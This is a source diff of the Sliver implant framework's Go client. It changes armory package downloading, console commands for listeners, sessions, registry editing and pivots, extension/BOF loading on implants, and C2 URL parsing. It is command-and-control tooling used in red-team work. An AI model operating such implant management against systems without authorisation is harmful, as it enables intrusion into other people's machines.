@@ -66,10 +63,6 @@ type armoryPkgResponse struct {
TarGzURL string `json:"tar_gz_url"`
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
@@ -170,10 +163,6 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
@@ -198,8 +187,8 @@ type GithubRelease struct {
Assets []GithubAsset `json:"assets"`
}
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
// GithubArmoryIndexParser - Parse the armory index from a GitHub release
func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
@@ -217,9 +206,6 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
}
@@ -274,8 +260,8 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
return armoryIndex, nil
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -293,9 +279,6 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
}
@@ -342,100 +325,6 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
@@ -455,7 +344,6 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
+13 -72
View File
@@ -107,11 +107,7 @@ func BindCommands(con *console.SliverConsoleClient) {
n++
}
if 0 < n {
if n == 1 {
con.PrintInfof("Loaded %d alias from disk\n", n)
} else {
con.PrintInfof("Loaded %d aliases from disk\n", n)
}
con.PrintInfof("Loaded %d alias(es) from disk\n", n)
}
// Load Extensions
@@ -421,8 +417,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -446,8 +442,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
@@ -470,7 +466,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start a stager listener",
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
Flags: func(f *grumble.Flags) {
f.String("p", "profile", "", "implant profile name to link with the listener")
f.String("p", "profile", "", "Implant profile name to link with the listener")
f.String("u", "url", "", "URL to which the stager will call back to")
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
@@ -510,10 +506,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Session management",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.String("i", "interact", "", "interact with a session")
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.String("i", "interact", "", "interact with a sliver")
f.String("k", "kill", "", "Kill the designated session")
f.Bool("K", "kill-all", false, "Kill all the sessions")
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -527,7 +523,7 @@ func BindCommands(con *console.SliverConsoleClient) {
}
sessionsCmd.AddCommand(&grumble.Command{
Name: consts.PruneStr,
Help: "Kill all stale/dead sessions",
Help: "Kill all stale sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
@@ -606,8 +602,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "namedpipe connection strings")
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
@@ -623,24 +619,6 @@ func BindCommands(con *console.SliverConsoleClient) {
}
con.App.AddCommand(openSessionCmd)
// [ Close ] --------------------------------------------------------------
closeSessionCmd := &grumble.Command{
Name: consts.CloseStr,
Help: "Close an interactive session without killing the remote process",
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.CloseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
con.App.AddCommand(closeSessionCmd)
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
@@ -2294,25 +2272,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryDeleteKeyStr,
Help: "Remove a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegDeleteKeyCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to remove value from")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
@@ -2446,24 +2405,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: "graph",
Help: "Get details of a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotsGraphCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ WireGuard ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
+1 -1
View File
@@ -98,7 +98,7 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
}
// InstallFromFilePath - Install an extension from a .tar.gz file
// Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
+59 -64
View File
@@ -38,13 +38,11 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
@@ -115,7 +113,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
// ParseExtensions - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
@@ -180,11 +178,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
return nil
},
Flags: func(f *grumble.Flags) {
// f.Bool("s", "save", false, "Save output to disk")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if 0 < len(extCmd.Arguments) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -214,26 +212,27 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
@@ -249,7 +248,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
@@ -259,17 +258,31 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
@@ -282,10 +295,10 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := loadedExtensions[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
if err != nil {
return err
}
@@ -293,31 +306,23 @@ func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, c
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
return registerExtension(con, depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
@@ -325,15 +330,23 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
if err = loadExtension(ctx, session, con, ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
@@ -348,7 +361,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
extName = ext.DependsOn
@@ -360,11 +373,10 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
@@ -373,39 +385,22 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Call extension error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
con.Println()
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
+3 -9
View File
@@ -505,13 +505,13 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
if strings.HasPrefix(arg, "named-pipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
if err != nil {
return nil, err
}
@@ -535,22 +535,16 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
}
if strings.HasPrefix(arg, "tcppivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
+2 -2
View File
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
if err != nil {
return nil
}
for sliverName, build := range builds.Configs {
if sliverName == name {
for _, build := range builds.Configs {
if build.Name == name {
return build
}
}
-6
View File
@@ -84,7 +84,6 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
@@ -483,11 +482,6 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
+6 -6
View File
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
hostSessions(host.HostUUID, con),
hostSessionNumbers(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
return tw.Render()
}
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if len(hostSessions) == 0 {
if 0 == len(hostSessions) {
return "None"
}
sessionIDs := []string{}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return fmt.Sprintf("%d", len(sessionIDs))
return strings.Join(sessionNumbers, ", ")
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
+5 -9
View File
@@ -19,8 +19,6 @@ package info
*/
import (
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
@@ -35,7 +33,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
@@ -46,14 +44,13 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
@@ -64,11 +61,10 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
+7 -5
View File
@@ -35,9 +35,10 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
promptSession := &survey.Confirm{Message: "Kill the active session?"}
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
if session != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
survey.AskOne(promptSession, &confirm, nil)
if !confirm {
return
}
@@ -46,11 +47,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
}
if beacon != nil {
survey.AskOne(promptBeacon, &confirm, nil)
if !confirm {
return
}
+4 -4
View File
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
"ID",
"Remote Address",
})
for _, pivotListener := range listener.Pivots {
for _, pivot := range listener.Pivots {
tw.AppendRow(table.Row{
pivotListener.PeerID,
pivotListener.RemoteAddress,
pivot.ID,
pivot.RemoteAddress,
})
}
con.Printf("%s\n", tw.Render())
-49
View File
@@ -1,49 +0,0 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
